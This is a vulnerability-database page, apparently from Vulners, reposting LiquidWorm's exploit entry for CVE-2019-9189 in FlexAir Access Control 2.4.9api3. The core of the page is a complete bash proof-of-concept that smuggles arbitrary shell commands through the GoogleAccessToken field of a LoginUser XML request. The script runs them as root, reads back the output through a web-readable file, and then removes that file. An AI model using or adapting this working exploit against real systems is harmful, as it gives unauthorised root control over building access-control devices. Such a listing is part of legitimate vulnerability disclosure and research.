Lucene search
+L

FlexAir Access Control 2.4.9api3 - Remote Code Execution Exploit

🗓️ 12 Nov 2019 00:00:00Reported by LiquidWormType 
zdt
 zdt
🔗 0day.today👁 101 Views

FlexAir Access Control 2.4.9api3 Remote Code Execution Exploit, Command injection with root privilege

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Prima Access Control 2.3.35 - Arbitrary File Upload Vulnerability
12 Nov 201900:00
zdt
cnvd
CNVD
Prima Systems FlexAir Script Upload Execution Vulnerability
10 Jun 201900:00
cnvd
cve
CVE
CVE-2019-9189
5 Jun 201917:20
cve
cvelist
Cvelist
CVE-2019-9189
5 Jun 201917:20
cvelist
exploitdb
Exploit DB
Prima Access Control 2.3.35 - Arbitrary File Upload
12 Nov 201900:00
exploitdb
exploitdb
Exploit DB
FlexAir Access Control 2.4.9api3 - Remote Code Execution
12 Nov 201900:00
exploitdb
exploitpack
exploitpack
FlexAir Access Control 2.4.9api3 - Remote Code Execution
12 Nov 201900:00
exploitpack
exploitpack
exploitpack
Prima Access Control 2.3.35 - Arbitrary File Upload
12 Nov 201900:00
exploitpack
ics
ICS
Prima Systems FlexAir
30 Jul 201900:00
ics
nvd
NVD
CVE-2019-9189
5 Jun 201918:29
nvd
Rows per page
# Exploit Title: FlexAir Access Control 2.4.9api3 - Remote Code Execution
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.computrols.com/capabilities-cbas-web/
# Software Link: https://www.computrols.com/building-automation-software/
# Version: 2.4.9api3
# Tested on: NA
# CVE : CVE-2019-9189
# Advisory: https://applied-risk.com/resources/ar-2019-007
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system

# PoC

#!/bin/bash
#
# Command injection with root privileges in FlexAir Access Control (Prima Systems)
# Firmware version: <= 2.3.38

#
# Discovered by Sipke Mellema
# Updated: 14.01.2019
#
##########################################################################
#
# $ ./Nova2.3.38_cmd.sh 192.168.13.37 "id"
# Executing: id
# Output:
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Removing temporary file..
# Done
#
##########################################################################
# Output file on the server
OUTPUT_FILE="/www/pages/app/images/logos/output.txt"
# Command to execute
CMD="$2"
# IP address
IP="$1"
# Change HTTP to HTTPS if required
HOST="http://${IP}"
# Add output file
CMD_FULL="${CMD}>${OUTPUT_FILE}"
# Command injection payload. Be careful with single quotes!
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='[email protected]'/><param name='GoogleAccessToken' value='test;${CMD_FULL}'/></request></requests>"

# Perform exploit
echo "Executing: ${CMD}"
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
# Get output
echo "Output:"
curl -s "${HOST}/app/images/logos/output.txt"
# Remove temp file
echo "Removing temporary file.."
PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='[email protected]'/><param name='GoogleAccessToken' value='test;rm /www/pages/app/images/logos/output.txt'/></request></requests>"
curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx"
echo "Done"

#  0day.today [2019-12-04]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation